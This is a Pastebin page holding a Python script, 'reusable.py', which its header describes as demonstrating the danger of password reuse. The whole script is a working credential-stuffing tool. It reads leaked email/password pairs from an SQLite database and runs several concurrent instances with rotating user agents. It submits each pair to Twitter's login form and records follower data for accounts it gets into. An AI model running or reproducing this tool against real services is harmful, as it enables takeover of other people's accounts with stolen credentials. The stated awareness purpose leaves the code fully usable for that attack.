Advertisement
opexxx

reusable.py

Jul 8th, 2014
304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.27 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. #
  4. # $Header: //depot/reusable/reusable.py#2 $
  5. # $Date: 2012/04/12 $
  6. #
  7. # reusable.py - A script that attempts to reuse given list of email/password combinations to login into other sites to demonstrate the danger of password reuse.
  8. # This script requires mechanize (http://wwwsearch.sourceforge.net/mechanize/) to be installed.
  9. #
  10. # See http://dazzlepod.com/reusable/ for more details.
  11. #
  12. # 2012 (C) Dazzlepod
  13. #
  14.  
  15. import cookielib
  16. import mechanize
  17. import os
  18. import random
  19. import re
  20. import socket
  21. import sqlite3
  22. import urllib2
  23. from datetime import datetime
  24.  
  25. # sqlite3 database with a table called accounts created using CREATE TABLE accounts (email TEXT, password TEXT, data TEXT);
  26. # You will need to populate this database with your list of email/password combinations; the data field should be left empty
  27. DATABASE = 'accounts.db'
  28.  
  29. # Limit up to this number of instances of this script to run concurrently at any one time; ll of them will access the same sqlite3 database, accounts.db
  30. MAX_INSTANCES = 8
  31.  
  32. # Set this to the appropriate value depending on the number of entries you have in accounts.db
  33. ACCOUNTS_PER_INSTANCE = 1000
  34.  
  35. # Useful to timeout hanged mechanize requests
  36. SOCKET_TIMEOUT = 3.0
  37.  
  38. # Random list of HTTP user agents to be used by mechanize when sending requests
  39. USER_AGENTS = [
  40.     'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0',
  41.     'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7',
  42.     'Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0',
  43.     'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)',
  44. ]
  45.  
  46. # Process ID for this instance; to be written into semaphore file
  47. pid = os.getpid()
  48.  
  49. # Creates log and semaphore file for this instance
  50. index = 1
  51. instance_id = 0
  52. while index <= MAX_INSTANCES:
  53.     if not os.path.exists('%d.sem' % index):
  54.         instance_id = index
  55.         break
  56.     index += 1
  57. if instance_id > 0:
  58.     log = open('%d.log' % instance_id, 'w', 0)    
  59.     sem = open('%d.sem' % instance_id, 'w')
  60.     sem.write('%s' % pid)
  61.     sem.close()
  62.     print '[%s] [%d] starting' % (datetime.now(), instance_id)
  63. else:
  64.     exit(0)
  65.  
  66. # Default timeout is 5.0 seconds; higher value is required in order to run multiple instances of this script
  67. conn = sqlite3.connect(DATABASE, timeout = 60.0)
  68.  
  69. # Always return bytestrings
  70. conn.text_factory = str
  71.  
  72. cur = conn.cursor()
  73. query = "SELECT rowid, email, password FROM accounts WHERE data = '' ORDER BY RANDOM() LIMIT %d" % ACCOUNTS_PER_INSTANCE
  74. cur.execute(query)
  75. accounts = cur.fetchall()
  76.  
  77. total_accounts = len(accounts)
  78. index = 0
  79. passed = 0
  80.  
  81. socket.setdefaulttimeout(SOCKET_TIMEOUT)
  82.  
  83. # From here on, output will be written into the log file for this instance
  84. for account in accounts:
  85.     index += 1
  86.  
  87.     (rowid, email, password) = account
  88.     print >>log, '[%s] [%d / %d | passed = %d] email=%s' % (datetime.now(), index, total_accounts, passed, email)
  89.  
  90.     br = mechanize.Browser()
  91.  
  92.     cj = cookielib.LWPCookieJar()
  93.     br.set_cookiejar(cj)
  94.  
  95.     br.addheaders = [
  96.         ('User-Agent', '%s' % USER_AGENTS[random.randrange(0, len(USER_AGENTS))]),
  97.         ('Referer', 'http://twitter.com'),
  98.     ]
  99.  
  100.     # Attempts to login into Twitter
  101.     try:
  102.         br.open('http://twitter.com/login')
  103.     except urllib2.URLError:
  104.         print >>log, '\t[EXCEPTION] opening URL (%s)' % email
  105.         continue
  106.     except socket.timeout:
  107.         print >>log, 'Connection timed out'
  108.         break
  109.  
  110.     # Twitter-specific login form
  111.     try:
  112.         br.select_form(nr=2)
  113.     except Exception:
  114.         print >>log, '\t[EXCEPTION] selecting form (%s)' % email
  115.         continue
  116.     br.form["session[username_or_email]"] = email
  117.     br.form["session[password]"] = password
  118.  
  119.     try:
  120.         br.submit()
  121.     except Exception:
  122.         print >>log, '\t[EXCEPTION] submit form (%s)' % email
  123.         continue
  124.  
  125.     page = ''
  126.     page = br.response().read()
  127.  
  128.     # Twitter-specific first page after successful login
  129.     if '/logout' in page:
  130.  
  131.         # We want to store URL to the personalized avatar
  132.         try:
  133.             avatar = re.findall('class="avatar size32" src="(?P<avatar>.*?)"', page)[0]
  134.         except IndexError:
  135.             continue
  136.         if 'default_profile_images' in avatar:
  137.             avatar = ''
  138.  
  139.         # We want to get the number of followers and number of people being followed by this account
  140.         following = int(re.findall('data-element-term="following_stats"><strong>(?P<following>.*?)</strong>', page)[0].replace(',', ''))
  141.         followers = int(re.findall('data-element-term="follower_stats"><strong>(?P<followers>.*?)</strong>', page)[0].replace(',', ''))
  142.  
  143.         data = '{"avatar": "%s", "following": "%d", "followers": "%d"}' % (avatar, following, followers)
  144.         cur.execute('UPDATE accounts SET data = ? WHERE rowid = ?', (data, rowid,))
  145.  
  146.         print >>log, '\t[PASSED] %s %s' % (email, data)
  147.         passed += 1
  148.  
  149.     else:
  150.         # Remove this account from accounts.db if login failed
  151.         cur.execute('DELETE FROM accounts WHERE rowid = ?', (rowid,))
  152.         print >>log, '\t[FAILED] %s' % email
  153.  
  154.     conn.commit()
  155.  
  156. cur.close()
  157.  
  158. os.remove('%d.sem' % instance_id)
  159. log.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement